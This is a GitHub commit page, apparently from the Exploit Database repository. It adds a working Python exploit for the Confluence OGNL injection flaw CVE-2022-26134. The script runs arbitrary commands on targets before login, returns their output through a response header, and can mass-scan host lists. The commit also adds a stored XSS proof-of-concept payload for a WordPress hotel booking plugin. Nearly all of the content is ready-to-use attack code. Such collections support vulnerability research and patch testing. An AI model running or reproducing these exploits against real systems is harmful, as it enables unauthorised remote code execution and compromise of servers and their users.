Skip to content

Commit 5012842

Browse files
author
Offensive Security
committed
DB: 2022-06-11
2 changes to exploits/shellcodes WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS) Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
1 parent 3daddca commit 5012842

File tree

3 files changed

+129
-0
lines changed

3 files changed

+129
-0
lines changed

‎exploits/java/webapps/50952.py

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
# Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
2+
# Google Dork: N/A
3+
# Date: 06/006/2022
4+
# Exploit Author: h3v0x
5+
# Vendor Homepage: https://www.atlassian.com/
6+
# Software Link: https://www.atlassian.com/software/confluence/download-archives
7+
# Version: All < 7.4.17 versions before 7.18.1
8+
# Tested on: -
9+
# CVE : CVE-2022-26134
10+
# https://github.com/h3v0x/CVE-2022-26134
11+
12+
#!/usr/bin/python3
13+
14+
import sys
15+
import requests
16+
import optparse
17+
import multiprocessing
18+
19+
from requests.packages import urllib3
20+
from requests.exceptions import MissingSchema, InvalidURL
21+
urllib3.disable_warnings()
22+
23+
requestEngine = multiprocessing.Manager()
24+
session = requests.Session()
25+
26+
global paramResults
27+
paramResults = requestEngine.list()
28+
globals().update(locals())
29+
30+
def spiderXpl(url):
31+
globals().update(locals())
32+
if not url.startswith('http'):
33+
url='http://'+url
34+
35+
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
36+
"Connection": "close",
37+
"Accept-Encoding": "gzip, deflate"}
38+
39+
try:
40+
response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
41+
if(response.status_code == 302):
42+
print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])
43+
44+
inputBuffer = str(response.headers['X-Cmd-Response'])
45+
paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
46+
else:
47+
pass
48+
49+
except requests.exceptions.ConnectionError:
50+
print('[x] Failed to Connect: '+url)
51+
pass
52+
except multiprocessing.log_to_stderr:
53+
pass
54+
except KeyboardInterrupt:
55+
print('[!] Stoping exploit...')
56+
exit(0)
57+
except (MissingSchema, InvalidURL):
58+
pass
59+
60+
61+
def banner():
62+
print('[-] CVE-2022-26134')
63+
print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')
64+
65+
66+
def main():
67+
banner()
68+
69+
globals().update(locals())
70+
71+
sys.setrecursionlimit(100000)
72+
73+
if not optionsOpt.filehosts:
74+
url = optionsOpt.url
75+
spiderXpl(url)
76+
else:
77+
f = open(optionsOpt.filehosts)
78+
urls = map(str.strip, f.readlines())
79+
80+
multiReq = multiprocessing.Pool(optionsOpt.threads_set)
81+
try:
82+
multiReq.map(spiderXpl, urls)
83+
multiReq.close()
84+
multiReq.join()
85+
except UnboundLocalError:
86+
pass
87+
except KeyboardInterrupt:
88+
exit(0)
89+
90+
91+
if optionsOpt.output:
92+
print("\n[!] Saving the output result in: %s" % optionsOpt.output)
93+
94+
with open(optionsOpt.output, "w") as f:
95+
for result in paramResults:
96+
f.write("%s\n" % result)
97+
f.close()
98+
99+
if __name__ == "__main__":
100+
parser = optparse.OptionParser()
101+
102+
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
103+
parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
104+
parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
105+
parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
106+
parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
107+
parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
108+
optionsOpt, args = parser.parse_args()
109+
110+
main()

‎exploits/php/webapps/50951.txt

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)
2+
# Date: 2022-06-05
3+
# Exploit Author: Sanjay Singh
4+
# Vendor Homepage: https://motopress.com/
5+
# Software Link: https://downloads.wordpress.org/plugin/motopress-hotel-booking-lite.4.2.4.zip
6+
# Version: 4.2.4
7+
# Tested on: Windows/XAMPP
8+
###########################################################################
9+
PoC:
10+
11+
1. http://localhost/wp-admin/edit.php?post_type=mphb_room_type
12+
2. Click on "Add Accommodation Type".
13+
3. Add title payload= "><script>alert("XSS")</script>
14+
4. Excerpt input payload "><script>alert("XSS")</script>
15+
5. Click publish.
16+
6. Visit http://localhost/accommodations/
17+
7. XSS payload execute.

‎files_exploits.csv

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45013,3 +45013,5 @@ id,file,description,date,author,type,platform,port
4501345013
50944,exploits/php/webapps/50944.py,"qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) (v2)",1970-01-01,RedHatAugust,webapps,php,
4501445014
50945,exploits/php/webapps/50945.tzt,"Contao 4.13.2 - Cross-Site Scripting (XSS)",1970-01-01,"Chetanya Sharma",webapps,php,
4501545015
50947,exploits/php/webapps/50947.txt,"Microweber CMS 1.2.15 - Account Takeover",1970-01-01,"Manojkumar J",webapps,php,
45016+
50951,exploits/php/webapps/50951.txt,"WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Sanjay Singh",webapps,php,
45017+
50952,exploits/java/webapps/50952.py,"Confluence Data Center 7.18.0 - Remote Code Execution (RCE)",1970-01-01,"Fellipe Oliveira",webapps,java,

0 commit comments

Comments
 (0)